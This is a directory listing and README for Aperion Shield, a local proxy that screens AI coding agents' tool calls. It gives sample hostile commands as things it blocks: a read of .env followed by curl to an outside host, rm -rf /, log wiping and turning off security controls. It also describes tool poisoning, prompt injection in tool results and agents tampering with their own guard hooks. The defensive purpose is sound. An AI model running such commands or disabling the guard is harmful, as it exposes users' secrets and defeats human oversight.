Aperion Shield MCP server
Commit Nov 13, 2026Acts as a local guardrail proxy that blocks destructive tool calls, tool poisoning, and secret exfiltration for AI coding agents.
Also known as AperionAI/shield, shield
- Stars
- 13
- Tools
- —
- Downloads, 30 days
- —
- Latest version
- 1.0.1
- Last commit
- Nov 13, 2026
- License
- —
What is Aperion Shield MCP?
Aperion Shield acts as a local guardrail proxy that blocks destructive tool calls, tool poisoning, and secret exfiltration for AI coding agents.
Summary generated from the project's README
About Aperion Shield MCP server
Aperion Shield acts as a local guardrail proxy designed to protect developers using AI coding agents like Cursor, Claude Code, Cline, and Windsurf. It sits between the AI agent and your MCP servers—including local stdio and remote Streamable HTTP servers—to intercept and evaluate tool calls before they execute. The system uses over 65 adaptive safety rules to monitor destructive actions across SQL, git, filesystem, cloud providers like AWS or GCP, and Kubernetes environments.
This tool is built for engineers in high-stakes or regulated environments who need to prevent tool poisoning, secret exfiltration, and privilege escalation. It provides several layers of defense, such as reversible secret cloaking to keep credentials out of model contexts and biometric identity verification via OIDC for sensitive approvals. Users can also utilize the --scan command to audit MCP servers before integration or the --sandbox command to confine server processes at the OS level on Linux and macOS.
What you can do with it
- 1Prevent destructive command executionAn AI agent attempts to run a command that would delete critical system files or databases.
- 2Protect sensitive credentialsA developer wants to allow an agent to use a secret without the actual value ever entering the model's prompt or history.
- 3Audit MCP server securityAn engineer needs to verify the safety of an MCP server before connecting it to their coding environment.
- 4Reduce frontier model costsA team wants to avoid sending massive files to expensive models by using a cheaper summarization method instead.
Written from the project's README. Every use case is checked against a quote from it.
How to install Aperion Shield MCP
Formats verified 10 Nov 2026Add to CursorAdd to GooseInstall Aperion Shield MCP in Claude Code
$ claude mcp add shield -- docker run -i --rm ghcr.io/aperionai/shield:shield-v1.0.1Install Aperion Shield MCP in Cursor
~/.cursor/mcp.json
{
"mcpServers": {
"shield": {
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"ghcr.io/aperionai/shield:shield-v1.0.1"
]
}
}
}Install Aperion Shield MCP in VS Code
.vscode/mcp.json
{
"servers": {
"shield": {
"type": "stdio",
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"ghcr.io/aperionai/shield:shield-v1.0.1"
]
}
}
}Install Aperion Shield MCP in VS Code CLI
$ code --add-mcp '{"name":"shield","type":"stdio","command":"docker","args":["run","-i","--rm","ghcr.io/aperionai/shield:shield-v1.0.1"]}'Install Aperion Shield MCP in Claude Desktop
claude_desktop_config.json
{
"mcpServers": {
"shield": {
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"ghcr.io/aperionai/shield:shield-v1.0.1"
]
}
}
}Install Aperion Shield MCP in Codex
$ codex mcp add shield -- docker run -i --rm ghcr.io/aperionai/shield:shield-v1.0.1Install Aperion Shield MCP in Codex config.toml
~/.codex/config.toml
[mcp_servers.shield] command = "docker" args = ["run", "-i", "--rm", "ghcr.io/aperionai/shield:shield-v1.0.1"]
Install Aperion Shield MCP in Gemini CLI
$ gemini mcp add -s user shield docker -- run -i --rm ghcr.io/aperionai/shield:shield-v1.0.1Install Aperion Shield MCP in Gemini settings.json
~/.gemini/settings.json
{
"mcpServers": {
"shield": {
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"ghcr.io/aperionai/shield:shield-v1.0.1"
]
}
}
}Configuration
APERION_SHIELD_OFFLOAD_MIN_LINESSHIELD_BINSHIELD_CLOAK_VALUESHIELD_SHIMS_DISABLE
Automated checks
Ran Nov 13, 2026Full report →Not verified yet. A server needs a score of 80, no serious finding, and enough data for us to check. How checks work · What to fix for more points
- Source repository linked and reachablePass
- Open source license (OSI)No licenseFinding
- Commit or release in the last yearPass
- Package name not close to a popular packageNot checked
- Remote endpoint uses HTTPSNot checked
- Destructive tools are labelledNot checked
- No hidden instructions to the modelPass
- No critical advisory in the package or its dependenciesNot checked
README
View on GitHubaperion-shield — local MCP guardrail for AI coding agents
Works with:
⭐ Star this repo if you think AI agents shouldn't touch prod unsupervised
aperion-shieldis the free reference implementation of consequence-level control for AI coding agents — the layer that stops a destructivetools/callbefore it lands, not a log you read after the damage is done. It's transparent insurance: you don't notice it until the day it saves you.If that's a problem you take seriously, a ⭐ is the fastest way to help other engineers in regulated and high-stakes shops find it before they need it → Star aperion-shield on GitHub

aperion-shield is a tiny, local MCP guardrail that sits between your
AI coding agent (Cursor, Claude Code, …) and the real MCP servers
your agent talks to (postgres, github, shell, filesystem, …) — local
stdio servers and, since v0.9, remote Streamable HTTP ones. On every
tools/call it evaluates 65+ adaptive safety rules (plus an
optional 40-rule community pack) across destructive surfaces —
SQL, git, filesystem, secrets exfiltration, supply-chain RCE, reverse
shells, sudo / privilege escalation, cloud (AWS/GCP/Azure),
Kubernetes, Docker, IAM / cloud privilege escalation, anti-forensics
(audit & log tampering), NoSQL / cache / search (Mongo, Redis,
Elasticsearch, Cassandra), disabling host security controls, and
Windows / PowerShell — and either blocks the call, prompts you for
approval, or lets it through with a warning banner. And since v0.9 it
watches the other direction too: tool catalogs are TOFU-pinned
against rug pulls, descriptions are scanned for tool poisoning, and
tool results are scanned for prompt injection. v1.0 completes the
story before install and below the protocol: --scan audits an
MCP server before you ever wire it in, and --sandbox confines the
server process at the OS level. And since v1.4, reversible secret
cloaking lets your agent reference a real credential as a
{{cloak:NAME}} placeholder — the secret is substituted in only on the
frame Shield forwards upstream and scrubbed back out of any result, so it
never enters the model's context, transcript, or prompt cache. v1.5
adds the seam the August 2026 market actually demos: native Cursor /
Claude Code PreToolUse hooks (fail-closed), --scan-ide for TrustFall
project MCP + Skills, and curl -fsSL https://shield-get.aperion.ai | sh.
Plus, when you need to prove who approved a destructive call — not just that someone did — Shield can gate selected rules behind biometric identity verification through a pluggable OIDC provider. And when you outgrow the single-machine model, the same binary enrolls into a Smartflow control plane with one command to pull org-wide policy, ship audit upstream, and use your existing IdP as the relying party — no rewrite, no re-install.
What's new in v1.20
v1.8 and v1.9 ship together as shield-v1.20.0. Same ask on every
host we install hooks for: Claude Code and Gemini get
permissionDecision: ask on PreToolUse. Cursor, Codex, and Copilot
get permission: ask on beforeShellExecution and
beforeMCPExecution, which is the event those hosts actually prompt
on. A rule written as Critical (rm -rf /, a reverse shell, an agent
editing Shield) is still a hard deny.
curl -fsSL https://shield-get.aperion.ai | sh
aperion-shield --install-agent-hooks
aperion-shield --install-guard
What's new in v1.9
A watcher that sits next to the hooks, not in front of them.
--guard. Polls your hook configs, MCP configs, and agent rules files (AGENTS.md,CLAUDE.md,.cursorrules,.cursor/rules). When one changes it runs the IDE scan again. If an agent deleted Shield's hook entry, the entry is put back. A desktop notification is the alert. No root.--install-guard/--uninstall-guard. Writes a user launchd agent on macOS or a systemd --user unit on Linux and loads it.--guard-onceis a single pass.--scan-idecovers rules files and extensions. Hidden Unicode and injected instructions in rules files. Cursor and VS Code extensions: missing publisher, a name sitting next to a known extension, and anything installed in the last 14 days.
aperion-shield --install-agent-hooks
aperion-shield --install-guard
A credential read followed by curl is an ask, the same allow/deny
card Cursor already shows for a git push. rm -rf /, a reverse
shell, and an agent editing Shield's own hooks stay a hard deny.
What's new in v1.8
Shield already stopped a bad tool call before it ran. It did not
watch what the agent had just read, so "read .env, then curl it
somewhere" got through whenever the two steps were separate. v1.8
closes that on the machine you already installed, with no cloud and
no model in the loop.
-
Post-tool hook.
--install-agent-hooksnow also registers Claude/GeminiPostToolUseand CursorafterShellExecution,afterMCPExecution, andpostToolUse(Codex and Copilot getpostToolUse). The new--check-hook-postscans that output with the existingtool_resultinjection rules, tags any credential shape into the taint ledger, and writes a short-lived session flag. Claude can deny and hand the reason back to the model. Cursor's post events cannot deny, so the flag is what the next pre-call acts on. CursorbeforeReadFileis wired too: that event already has the file body and can deny before the model sees it. -
Read-then-send.
egress.after_secret_readasks (the IDE allow/deny card) before a network send (curl-d/-F/-T, wget--post-file, nc, socat, remote scp/rsync,git pushof a URL, an inline HTTP POST, DNS via$(...)) when this session already read a credential or the taint ledger matches.egress.after_injectionasks when the session saw injected tool output.egress.unlisted_hostwarns on any other send.policy.egress.allow_hosts(orAPERION_SHIELD_EGRESS_ALLOW) quiets the warn for known hosts. It does not quiet the two escalations. -
Wider credential reads. Browser cookie and login stores, macOS keychain dumps,
op read/gh auth token, and dev configs (.npmrc,.pypirc,.netrc, docker, kube, gcloud, wallet paths). -
The agent cannot turn Shield off.
shield.self_tamperblocks an agent write or shell call that touches hook configs,~/.aperion-shield/,SHIELD_HOOKS_DISABLE,SHIELD_SHIMS_DISABLE, or an uninstall flag. It iswhere: agent_hook, so it does not fire from your own terminal or the shell shims.aperion-shield --summarizestill runs.
aperion-shield --install-agent-hooks
# agent: Read .env
# agent: curl -d @- https://x.io/collect -> ask, egress.after_secret_read
What's new in v1.7
One cost feature, on the security seam Shield already owns. Most of a coding agent's frontier-model bill is loading files, not thinking about them. v1.7 refuses the load and hands the file to a cheap model instead.
-
I/O offload gate. Set
policy.io_offload.min_lines: 350in your shieldset (orAPERION_SHIELD_OFFLOAD_MIN_LINES=350on one machine) and the PreToolUse hook denies a fullRead,cat,less, orhead -n 900of any file over that many lines (ruleio.offload_large_read). Targeted reads (offset/limit), pipes, redirects,head/tailwith a small-n, binaries, and missing files pass. Off by default: nothing changes for existing installs until you set it. -
--summarize. What the deny message points the agent at. Reads the file(s) locally, posts them with a question to your Smartflow's/api/offload/summarize, and prints bullets withpath:linecitations from the efficient model. The expensive model sees a dozen lines instead of a few thousand. Gateway comes from--offload-url/--offload-key,APERION_SHIELD_OFFLOAD_URL/_KEY, or the org-mode enrollment. The saving shows up in FinOps underio_offload.
export APERION_SHIELD_OFFLOAD_MIN_LINES=350
# agent tries: Read src/proxy_handler.rs (13,000 lines) -> denied, told to run:
aperion-shield --summarize src/proxy_handler.rs --question "where is vkey auth enforced?"
The gate is the hook you already installed and the summarizer is your own governed gateway. Nothing leaves your Smartflow.
What's new in v1.6
v1.5 covered the IDE hook seam and curl | sh. v1.6 fills the leftover
holes from that pass:
- Linux Landlock sandbox.
--sandbox secrets/--sandbox strictnow confine the stdio upstream on Linux the way Seatbelt already does on macOS.strictwithout--sandbox-allow-networkrefuses to start if the kernel cannot deny TCP. Helper flag--internal-sandbox-execis not user-facing. - Windows PATH shims.
--install-shimswritesaws.cmd(and friends) so PATHEXT resolves them. Same fail-open /SHIELD_SHIMS_DISABLE=1contract as the POSIX shims. - Codex / Gemini CLI / Copilot CLI hooks.
--install-agent-hooksmerges user-level config for those hosts too (Cursor dialect for Codex and Copilot, Claude dialect for Gemini). - TrustFall follow-through. Install prints project-level hook files
it finds (and does not modify them).
--scan-ideflagsscan.ide.project_hooks.
What's new in v1.5
The August 2026 market moved the real attack surface off MCP wrappers.
Agents run Bash, Write, and Read as native tools. Project mcp.json can
auto-start on folder trust (TrustFall). Snyk Agent Scan walks the whole
machine. v1.5 covers those three without a cloud account.
-
Native agent hooks.
aperion-shield --install-agent-hookswrites fail-closed wrappers and merges user-level Claude CodePreToolUse(~/.claude/settings.json) and CursorpreToolUse(~/.cursor/hooks.json).--check-hookreads the host JSON on stdin and emits the matching deny dialect (they are not interchangeable).SHIELD_HOOKS_DISABLE=1is the documented bypass. Project-level hook files are left alone on purpose — TrustFall is project-injected. -
--scan-ide. Walks Cursor / Claude / Windsurf / Codex MCP configs under$HOMEand the project root, plusSKILL.mdtrees. Flags unwrapped command-type servers, unpinnednpx/uvx, and project-local configs. Skills run through the ATRskill_compromiserules. Nothing is executed. Exit 0/1/2 for CI. -
curl | shinstall.curl -fsSL https://shield-get.aperion.ai | sh(same pattern as Halo). Then--install-agent-hooks. Halo's installer now prints that two-liner after a successful Halo install — Shield is not silently bundled.
curl -fsSL https://shield-get.aperion.ai | sh
aperion-shield --install-agent-hooks
aperion-shield --scan-ide
What's new in v1.4
Reversible secret cloaking — register a secret once, then reference it
in your agent's tool-call arguments as the placeholder {{cloak:NAME}}.
Shield swaps in the real value only on the copy it forwards to the MCP
server — so the actual secret never lands in the agent's context, the
transcript, the model provider's logs, or any prompt cache. In the reverse
direction, if a tool result echoes a registered secret back, Shield
scrubs it to its placeholder before the agent (and the model) ever sees it.
This is the reversible complement to v1.3's taint tracking: taint is detect-and-escalate over one-way hashes; cloak is a local, reversible vault that transforms the wire at both proxy seams. Both stdio and Streamable-HTTP transports are covered, and the transform is a zero-copy fast path when no placeholder is present.
# Register a secret (value read from $SHIELD_CLOAK_VALUE or stdin, never argv):
SHIELD_CLOAK_VALUE='sk_live_…' aperion-shield --cloak-add stripe_key
aperion-shield --cloak-list # names only, never values
aperion-shield --cloak-remove stripe_key
Your agent then sends Authorization: Bearer {{cloak:stripe_key}}; the
upstream server receives the real key; the model context only ever holds
the placeholder. The vault lives at ~/.aperion-shield/cloak-vault.json
(mode 0600, protected by filesystem permissions — never logged, never
included in audit events). New flags: --cloak-add NAME, --cloak-list,
--cloak-remove NAME, --no-cloak.
What's new in v1.3
Cross-tool secret taint tracking — the first Shield capability that correlates activity across MCP servers and surfaces instead of judging each call in isolation. This closes the "confused deputy" gap (OWASP MCP Top 10 MCP09) that every point-in-time, single-server MCP guardrail — including Shield before v1.3 — structurally cannot see: a credential leaked by one (possibly compromised) tool being relayed into a different, individually-trusted tool's arguments. Unit 42 measured a 78.3% attack success rate for exactly this pattern once one server in a multi-server session is compromised.
How it works, without a new daemon:
- Tag. When a credential-shaped value (AWS / GitHub / Slack / OpenAI
/ Anthropic / Google / Stripe tokens, JWTs, PEM private-key blocks, DB
connection strings) appears in a tool result, Shield appends a
SHA-256 hash of it — never the raw secret — to a shared,
per-project ledger at
.aperion-shield/taint.jsonl. - Check. Before an outgoing tool call is forwarded, Shield scans its arguments for those same shapes and looks each up in the ledger. A still-within-TTL hit means the secret is crossing a tool boundary — the call is escalated to at least Approval (never a silent Allow), with a reason citing the source tool/surface and how long ago it leaked.
Because every MCP server already runs as its own Shield process sharing
the project's .aperion-shield/ directory, correlation across separate
servers works out of the box — proven by an integration test that spawns
two independent Shield binaries and shows a secret leaked by server A
refusing a relay through server B. Git-hook (--check-staged) and shell-
shim (--check-cmd) surfaces run the check side too, so a secret an MCP
tool leaked is also caught being hard-coded into a commit or piped through
a wrapped CLI.
New flags: --taint-ttl-secs N (default 600), --no-taint-tracking,
--taint-list, --taint-flush. Never stores raw secrets; heuristic
(hash-equality) correlation, not cryptographic taint propagation — see
SECURITY.md for the honest limits. 365 tests passing
(was 339) — +12 secret-shape / ledger unit tests, +3 engine escalation
tests, +1 shim-pickup test, and +2 cross-process two-binary integration
tests. See Cross-tool secret taint tracking.
What's new in v1.2.1
A hardening follow-up to v1.2's drift-check probe, prompted by external
feedback questioning whether the probe itself could be spoofed. The
probe's request id no longer carries a shield/drift-style prefix —
that was a static, greppable marker a targeted adversary could pattern-
match on in observed network traffic — and now uses a bare random
UUID instead. The polling interval is also jittered +/-20% so the
cadence isn't a clean periodic signal. Neither change claims to make the
probe unspoofable against a sufficiently determined, targeted adversary
doing statistical traffic analysis; see SECURITY.md §3
for the honest limits. 339 tests passing (was 336) — 3 new unit
tests lock in the "no static marker" and jitter-bounds properties.
What's new in v1.2
Two additions sourced from a competitive review of Microsoft's
agent-governance-toolkit, both extensions of an existing v1.0/v0.9
feature rather than new surface area:
- Typosquat name-similarity in
--scan. A new pass compares the target npm package name against a curated list of well-known MCP servers, flagging separator/case variants that are visually indistinguishable (mcp_shieldvs. the realmcp-shield) and small edit-distance typos (homoglyph-style single-character swaps). Pure string comparison, no network — it's the one--scanpass that runs even under--scan-offlineand survives a fetch failure, which matters because a genuinely typosquatted (often unpublished) package name is exactly the case wherenpm packfails. - Continuous MCP catalog drift monitoring. TOFU pinning (v0.9)
only re-checks the catalog on the next real
tools/list— in a long-running agent session that can be hours away. Shield now proactively re-fingerprints the live catalog on a timer (--drift-check-interval-secs, default 300s;--no-drift-checkto disable), using a Shield-initiated request the client never sees, and quarantines a rug-pulled tool the moment it's caught — without waiting for the host to refresh its own catalog.
336 tests passing (was 324 in v1.1) — +6 typosquat unit tests, +1 end-to-end drift-check integration test spawning the real binary against a mock MCP server that rug-pulls mid-session.
What's new in v1.1
Seventeen new runtime rules, growing the default shieldset from 51 to
68 rules across six new destructive surfaces. Every rule ships with an
integration test and a safer_alternative, and all patterns are
lookahead-free (validated by the same regex crate the proxy uses at
runtime).
-
IAM / cloud privilege escalation.
iam.cloud_grant_admin(grantingAdministratorAccess/roles/owner), credential minting (create-access-key, login profiles),~/.ssh/authorized_keysbackdoors, and local sudo grants (usermod -aG sudo,/etc/sudoersappends). -
Anti-forensics / audit & log tampering. Disabling or deleting the cloud audit trail (
cloudtrail stop-logging, config-recorder, GCP log sinks), clearing system logs (rm -rf /var/log,journalctl --vacuum,wevtutil cl), and wiping shell history. -
Disabling host security controls. Firewall / SELinux / SIP / Gatekeeper teardown (
setenforce 0,ufw disable,iptables -F,csrutil disable,spctl --master-disable) and Microsoft Defender real-time monitoring. -
NoSQL / cache / search. Unscoped Mongo
dropDatabase/deleteMany({}), RedisFLUSHALL/FLUSHDB, ElasticsearchDELETE /_all, and CassandraDROP KEYSPACE. -
Windows / PowerShell. Recursive force-delete /
Format-Volume/reg delete HKLM, andwin.fetch_pipe_iex— the Windowscurl|sh(fetch piped intoInvoke-Expression), tier Critical. -
CI/CD & package publish.
gh secret set, and package publishes (npm publish,cargo publish,twine upload).
324 tests passing (was 307 in v1.0) — +17 rule integration tests, one per new rule.
What's new in v1.0
The major release: coverage now spans the entire lifecycle of an MCP server — install-time audit, runtime enforcement, and OS-level process confinement, in one local binary with no cloud dependency.
-
--scan— pre-install audit. Audit a server before it is ever wired into your IDE:aperion-shield --scan <local-path | github-url | npm-package>. Four passes: static source signatures (credential reads, env exfiltration, dynamic exec, obfuscation, install hooks), typosquat name-similarity against well-known MCP servers, npm registry metadata + OSV.dev known vulnerabilities, and an opt-in live catalog audit that launches the server sandboxed, pullstools/list, and runs the tool-poisoning rules over the catalog without it ever reaching an agent. Exit codes 0/1/2 for CI gates. See Pre-install audit. -
--sandbox— upstream process confinement. Shield spawns the upstream server, so it now confines it at the OS level (macOS Seatbelt; no daemon, no privileges):secretsdenies reads/writes of credential material (~/.ssh, ~/.aws, ~/.gnupg, kube/gcloud/azure configs, …),strictadds deny-by-default writes and no network unless granted. Protocol filtering and process confinement become layered defenses. See Sandboxing the upstream. -
ATR community rule pack. A curated, machine-translated subset of the MIT-licensed Agent Threat Rules corpus ships as an optional pack: 40 rules / 270 patterns, loaded with
--rules-extra config/shieldset-atr.yaml. All 443 of the upstream corpus's own true-positive/true-negative cases pass through Shield's engine as labelled. Defaults are untouched. See Rule packs. -
307 tests passing (was 280 in v0.9) — +27 new: ATR pack parse/merge/policy-isolation plus the 443-case corpus run, live Seatbelt integration tests (real processes under the rendered profiles: ssh-key reads denied, exemptions, write confinement, socket blocking), scan unit + integration tests (malicious fixture verdicts, benign controls, live poisoned-catalog audit).
Aperion Shield MCP questions
How do I add Aperion Shield MCP to Claude Code?
Run claude mcp add shield -- docker run -i --rm ghcr.io/aperionai/shield:shield-v1.0.1 in your terminal. Add --scope user to make it available in every project.
How do I add Aperion Shield MCP to Cursor?
Open ~/.cursor/mcp.json and add the server under mcpServers, using the Cursor config shown in the install section above.
Can it prevent an agent from disabling the security layer?
Yes, it includes self-tamper protection that blocks an agent from writing to hook configs or uninstalling the service.
How does it handle sensitive credentials?
It uses reversible secret cloaking to substitute real credentials with placeholders so they never enter the model's context or prompt cache.